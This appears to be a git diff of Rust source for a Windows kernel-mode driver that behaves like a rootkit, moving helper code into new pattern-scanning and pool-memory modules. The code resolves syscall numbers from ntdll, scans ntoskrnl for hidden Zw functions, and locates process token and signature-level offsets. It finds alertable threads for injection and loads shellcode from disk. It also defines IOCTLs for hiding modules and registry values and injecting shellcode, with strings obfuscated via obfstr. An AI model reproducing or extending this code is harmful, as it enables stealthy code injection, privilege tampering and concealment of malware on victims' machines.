let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
|
||||||
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
|
||||||
|
|
||||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
|
||||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
|
||||||
let ordinal = ordinals[i as usize] as usize;
|
|
||||||
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
|
||||||
if name == function_name {
|
|
||||||
|
|
||||||
if read(address) == 0x4C
|
|
||||||
&& read(address.add(1)) == 0x8B
|
|
||||||
&& read(address.add(2)) == 0xD1
|
|
||||||
&& read(address.add(3)) == 0xB8
|
|
||||||
&& read(address.add(6)) == 0x00
|
|
||||||
&& read(address.add(7)) == 0x00
|
|
||||||
{
|
|
||||||
let high = read(address.add(5)) as u16;
|
|
||||||
let low = read(address.add(4)) as u16;
|
|
||||||
let ssn = (high << 8) | low;
|
|
||||||
|
|
||||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
|
||||||
ZwClose(section_handle);
|
|
||||||
return Some(ssn);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
|
||||||
ZwClose(section_handle);
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Retrieves the address of a specified function within a module in the context of a target process.
|
/// Retrieves the address of a specified function within a module in the context of a target process.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Parameters
|
||||||
@@ -347,10 +142,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
|||||||
///
|
///
|
||||||
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
|
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
|
||||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
let target = match Process::new(pid) {
|
let target = Process::new(pid)?;
|
||||||
Some(p) => p,
|
|
||||||
None => return None,
|
|
||||||
};
|
|
||||||
|
|
||||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
@@ -416,98 +208,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
|||||||
None
|
None
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
|
||||||
/// # Parameters
|
|
||||||
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
|
||||||
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
|
|
||||||
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
/// - `Option<*const u8>`: The address of the target function if found.
|
|
||||||
///
|
|
||||||
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
|
|
||||||
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
|
||||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
|
||||||
|
|
||||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
|
||||||
let section = (*section_header.add(i)).Name;
|
|
||||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
|
||||||
|
|
||||||
if name == section_name {
|
|
||||||
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
|
|
||||||
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
|
||||||
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
|
|
||||||
|
|
||||||
if let Some(offset) = data.windows(pattern.len()).position(|window| {
|
|
||||||
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
|
||||||
}) {
|
|
||||||
return Some((section_start + offset) as *const u8);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
None
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Finds the address of a specified Zw function.
|
|
||||||
///
|
|
||||||
/// # Parameters
|
|
||||||
/// - `name`: The name of the Zw function to find.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
/// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
|
|
||||||
///
|
|
||||||
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
|
||||||
let ssn = match get_syscall_index(name) {
|
|
||||||
Some(ssn) => ssn,
|
|
||||||
None => return None,
|
|
||||||
};
|
|
||||||
|
|
||||||
let ntoskrnl_addr = match get_module_base_address(obfstr!("ntoskrnl.exe")) {
|
|
||||||
Some(addr) => addr,
|
|
||||||
None => return None,
|
|
||||||
};
|
|
||||||
|
|
||||||
let ssn_bytes = ssn.to_le_bytes();
|
|
||||||
let pattern: [u8; 30] = [
|
|
||||||
0x48, 0x8B, 0xC4, // mov rax, rsp
|
|
||||||
0xFA, // cli
|
|
||||||
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
|
||||||
0x50, // push rax
|
|
||||||
0x9C, // pushfq
|
|
||||||
0x6A, 0x10, // push 10h
|
|
||||||
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
|
||||||
0x50, // push rax
|
|
||||||
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
|
|
||||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
|
||||||
];
|
|
||||||
|
|
||||||
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
|
||||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
|
||||||
|
|
||||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
|
||||||
let section = (*section_header.add(i)).Name;
|
|
||||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
|
||||||
|
|
||||||
if name == obfstr!(".text") {
|
|
||||||
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
|
||||||
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
|
||||||
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
|
||||||
|
|
||||||
if let Some(offset) = data.windows(pattern.len())
|
|
||||||
.position(|window| {
|
|
||||||
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
|
||||||
}) {
|
|
||||||
|
|
||||||
return Some(text_start + offset);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Find for a thread with an alertable status.
|
/// Find for a thread with an alertable status.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Parameters
|
||||||
@@ -519,9 +219,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
|||||||
pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> {
|
pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> {
|
||||||
let mut return_bytes = 0;
|
let mut return_bytes = 0;
|
||||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
let info_process = ExAllocatePool2(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) as PSYSTEM_PROCESS_INFORMATION;
|
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))?.ptr as PSYSTEM_PROCESS_INFORMATION;
|
||||||
if info_process.is_null() {
|
if info_process.is_null() {
|
||||||
log::error!("ExAllocatePool2 Failed");
|
log::error!("PoolMemory Failed");
|
||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -543,10 +243,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
|
|||||||
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
|
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
|
||||||
for &thread in threads_slice {
|
for &thread in threads_slice {
|
||||||
let thread_id = thread.ClientId.UniqueThread as usize;
|
let thread_id = thread.ClientId.UniqueThread as usize;
|
||||||
let target_thread = match crate::thread::Thread::new(thread_id) {
|
let target_thread = if let Some(thread) = crate::thread::Thread::new(thread_id) { thread } else { continue };
|
||||||
Some(e_thread) => e_thread,
|
|
||||||
None => continue,
|
|
||||||
};
|
|
||||||
|
|
||||||
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
|
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
|
||||||
continue;
|
continue;
|
||||||
@@ -573,8 +270,6 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
|
|||||||
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||||
}
|
}
|
||||||
|
|
||||||
ExFreePool(info_process as *mut _);
|
|
||||||
|
|
||||||
None
|
None
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -617,9 +312,7 @@ pub fn InitializeObjectAttributes(
|
|||||||
/// - `Result<Vec<u8>, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs.
|
/// - `Result<Vec<u8>, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs.
|
||||||
///
|
///
|
||||||
pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||||
let mut path_nt = String::new();
|
let path_nt = alloc::format!("\\??\\{}", path);
|
||||||
write!(&mut path_nt, "\\??\\{}", path).unwrap();
|
|
||||||
|
|
||||||
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
|
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
|
||||||
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() };
|
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() };
|
||||||
let mut obj_attr = InitializeObjectAttributes(
|
let mut obj_attr = InitializeObjectAttributes(
|
||||||
@@ -651,10 +344,12 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
|||||||
return Err(status);
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let h_file = Handle::new(h_file);
|
||||||
|
|
||||||
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() };
|
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() };
|
||||||
status = unsafe {
|
status = unsafe {
|
||||||
ZwQueryInformationFile(
|
ZwQueryInformationFile(
|
||||||
h_file,
|
h_file.get(),
|
||||||
&mut io_status_block,
|
&mut io_status_block,
|
||||||
&mut file_info as *mut _ as *mut c_void,
|
&mut file_info as *mut _ as *mut c_void,
|
||||||
size_of::<FILE_STANDARD_INFORMATION>() as u32,
|
size_of::<FILE_STANDARD_INFORMATION>() as u32,
|
||||||
@@ -663,17 +358,16 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
|||||||
};
|
};
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwQueryInformationFile Failed With Status: {status}");
|
log::error!("ZwQueryInformationFile Failed With Status: {status}");
|
||||||
unsafe { ZwClose(h_file) };
|
|
||||||
return Err(status);
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
|
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
|
||||||
let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() };
|
let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() };
|
||||||
byte_offset.QuadPart = 0;
|
byte_offset.QuadPart = 0;
|
||||||
let mut shellcode = vec![0u8; file_size];
|
let mut shellcode = alloc::vec![0u8; file_size];
|
||||||
status = unsafe {
|
status = unsafe {
|
||||||
ZwReadFile(
|
ZwReadFile(
|
||||||
h_file,
|
h_file.get(),
|
||||||
null_mut(),
|
null_mut(),
|
||||||
None,
|
None,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
@@ -686,12 +380,9 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
|||||||
};
|
};
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwReadFile Failed With Status: {status}");
|
log::error!("ZwReadFile Failed With Status: {status}");
|
||||||
unsafe { ZwClose(h_file) };
|
|
||||||
return Err(status);
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe { ZwClose(h_file) };
|
|
||||||
|
|
||||||
return Ok(shellcode)
|
return Ok(shellcode)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
|
use crate::utils::uni;
|
||||||
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
|
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
|
||||||
use crate::utils;
|
|
||||||
|
|
||||||
/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
|
/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
|
||||||
///
|
///
|
||||||
@@ -7,7 +7,7 @@ use crate::utils;
|
|||||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
///
|
///
|
||||||
pub unsafe fn get_offset_signature() -> isize {
|
pub unsafe fn get_offset_signature() -> isize {
|
||||||
let mut function_name = utils::uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode();
|
let mut function_name = uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode();
|
||||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
let bytes = core::slice::from_raw_parts(address as *const u8, 20);
|
let bytes = core::slice::from_raw_parts(address as *const u8, 20);
|
||||||
let offset = bytes[15..17]
|
let offset = bytes[15..17]
|
||||||
@@ -26,7 +26,7 @@ pub unsafe fn get_offset_signature() -> isize {
|
|||||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
///
|
///
|
||||||
pub unsafe fn get_offset_unique_process_id() -> isize {
|
pub unsafe fn get_offset_unique_process_id() -> isize {
|
||||||
let mut function_name = utils::uni::str_to_unicode("PsGetProcessId").to_unicode();
|
let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode();
|
||||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
let bytes = core::slice::from_raw_parts(address as *const u8, 5);
|
let bytes = core::slice::from_raw_parts(address as *const u8, 5);
|
||||||
let offset = bytes[3..5]
|
let offset = bytes[3..5]
|
||||||
@@ -45,7 +45,7 @@ pub unsafe fn get_offset_unique_process_id() -> isize {
|
|||||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
///
|
///
|
||||||
pub unsafe fn get_offset_token() -> isize {
|
pub unsafe fn get_offset_token() -> isize {
|
||||||
let mut function_name = utils::uni::str_to_unicode("PsReferencePrimaryToken").to_unicode();
|
let mut function_name = uni::str_to_unicode("PsReferencePrimaryToken").to_unicode();
|
||||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
let bytes = core::slice::from_raw_parts(address as *const u8, 27);
|
let bytes = core::slice::from_raw_parts(address as *const u8, 27);
|
||||||
let offset = bytes[21..23]
|
let offset = bytes[21..23]
|
||||||
@@ -64,10 +64,10 @@ pub unsafe fn get_offset_token() -> isize {
|
|||||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
///
|
///
|
||||||
pub unsafe fn get_rundown_protect() -> isize {
|
pub unsafe fn get_rundown_protect() -> isize {
|
||||||
let mut function_name = utils::uni::str_to_unicode("PsGetThreadExitStatus").to_unicode();
|
let mut function_name = uni::str_to_unicode("PsGetThreadExitStatus").to_unicode();
|
||||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
let bytes = core::slice::from_raw_parts(address as *const u8, 17);
|
let bytes = core::slice::from_raw_parts(address as *const u8, 17);
|
||||||
let offset = bytes[13..]
|
let offset = bytes[13..15]
|
||||||
.try_into()
|
.try_into()
|
||||||
.map(u16::from_le_bytes)
|
.map(u16::from_le_bytes)
|
||||||
.expect("Slice length is not 2, cannot convert");
|
.expect("Slice length is not 2, cannot convert");
|
||||||
|
|||||||
177
driver/src/utils/patterns.rs
Normal file
177
driver/src/utils/patterns.rs
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
super::{address::get_module_base_address, InitializeObjectAttributes},
|
||||||
|
core::{
|
||||||
|
ffi::{c_void, CStr}, mem::{size_of, zeroed},
|
||||||
|
ptr::{null_mut, read}, slice::from_raw_parts
|
||||||
|
},
|
||||||
|
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},
|
||||||
|
wdk_sys::{
|
||||||
|
NT_SUCCESS,
|
||||||
|
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection},
|
||||||
|
LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ,
|
||||||
|
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||||
|
/// # Parameters
|
||||||
|
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
||||||
|
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
|
||||||
|
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*const u8>`: The address of the target function if found.
|
||||||
|
///
|
||||||
|
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
|
||||||
|
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||||
|
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||||
|
|
||||||
|
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||||
|
let section = (*section_header.add(i)).Name;
|
||||||
|
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||||
|
|
||||||
|
if name == section_name {
|
||||||
|
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
|
||||||
|
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||||
|
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
|
||||||
|
|
||||||
|
if let Some(offset) = data.windows(pattern.len()).position(|window| {
|
||||||
|
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||||
|
}) {
|
||||||
|
return Some((section_start + offset) as *const u8);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of a specified Zw function.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `name`: The name of the Zw function to find.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||||
|
let ssn = get_syscall_index(name)?;
|
||||||
|
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
|
||||||
|
|
||||||
|
let ssn_bytes = ssn.to_le_bytes();
|
||||||
|
let pattern: [u8; 30] = [
|
||||||
|
0x48, 0x8B, 0xC4, // mov rax, rsp
|
||||||
|
0xFA, // cli
|
||||||
|
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
||||||
|
0x50, // push rax
|
||||||
|
0x9C, // pushfq
|
||||||
|
0x6A, 0x10, // push 10h
|
||||||
|
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
||||||
|
0x50, // push rax
|
||||||
|
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
|
||||||
|
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||||
|
];
|
||||||
|
|
||||||
|
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||||
|
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||||
|
|
||||||
|
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||||
|
let section = (*section_header.add(i)).Name;
|
||||||
|
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||||
|
|
||||||
|
if name == obfstr!(".text") {
|
||||||
|
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
||||||
|
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||||
|
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
||||||
|
|
||||||
|
if let Some(offset) = data.windows(pattern.len())
|
||||||
|
.position(|window| {
|
||||||
|
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||||
|
}) {
|
||||||
|
|
||||||
|
return Some(text_start + offset);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the syscall index for a given function name.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `function_name`: The name of the function to retrieve the syscall index for.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||||
|
let mut section_handle = null_mut();
|
||||||
|
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||||
|
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwOpenSection Failed With Status: {status}");
|
||||||
|
return None
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut large: LARGE_INTEGER = zeroed();
|
||||||
|
let mut ntdll_addr = null_mut();
|
||||||
|
let mut view_size = 0;
|
||||||
|
status = ZwMapViewOfSection(
|
||||||
|
section_handle,
|
||||||
|
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||||
|
&mut ntdll_addr,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
&mut large,
|
||||||
|
&mut view_size,
|
||||||
|
ViewUnmap,
|
||||||
|
0,
|
||||||
|
PAGE_READONLY,
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
||||||
|
ZwClose(section_handle);
|
||||||
|
return None
|
||||||
|
}
|
||||||
|
|
||||||
|
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
|
let ntdll_addr = ntdll_addr as usize;
|
||||||
|
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
||||||
|
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
||||||
|
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||||
|
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||||
|
let ordinal = ordinals[i as usize] as usize;
|
||||||
|
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
||||||
|
if name == function_name {
|
||||||
|
|
||||||
|
if read(address) == 0x4C
|
||||||
|
&& read(address.add(1)) == 0x8B
|
||||||
|
&& read(address.add(2)) == 0xD1
|
||||||
|
&& read(address.add(3)) == 0xB8
|
||||||
|
&& read(address.add(6)) == 0x00
|
||||||
|
&& read(address.add(7)) == 0x00
|
||||||
|
{
|
||||||
|
let high = read(address.add(5)) as u16;
|
||||||
|
let low = read(address.add(4)) as u16;
|
||||||
|
let ssn = (high << 8) | low;
|
||||||
|
|
||||||
|
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||||
|
ZwClose(section_handle);
|
||||||
|
return Some(ssn);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||||
|
ZwClose(section_handle);
|
||||||
|
return None
|
||||||
|
}
|
||||||
28
driver/src/utils/pool.rs
Normal file
28
driver/src/utils/pool.rs
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
use core::ffi::c_void;
|
||||||
|
use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS};
|
||||||
|
|
||||||
|
pub struct PoolMemory {
|
||||||
|
pub ptr: *mut c_void,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PoolMemory {
|
||||||
|
#[inline]
|
||||||
|
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option<PoolMemory> {
|
||||||
|
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
|
||||||
|
if ptr.is_null() {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some(PoolMemory {
|
||||||
|
ptr,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for PoolMemory {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.ptr.is_null() {
|
||||||
|
unsafe { ExFreePool(self.ptr) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -45,6 +45,7 @@ pub const IOCTL_HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, M
|
|||||||
|
|
||||||
// Module
|
// Module
|
||||||
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
|
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
// Injection
|
// Injection
|
||||||
pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
|
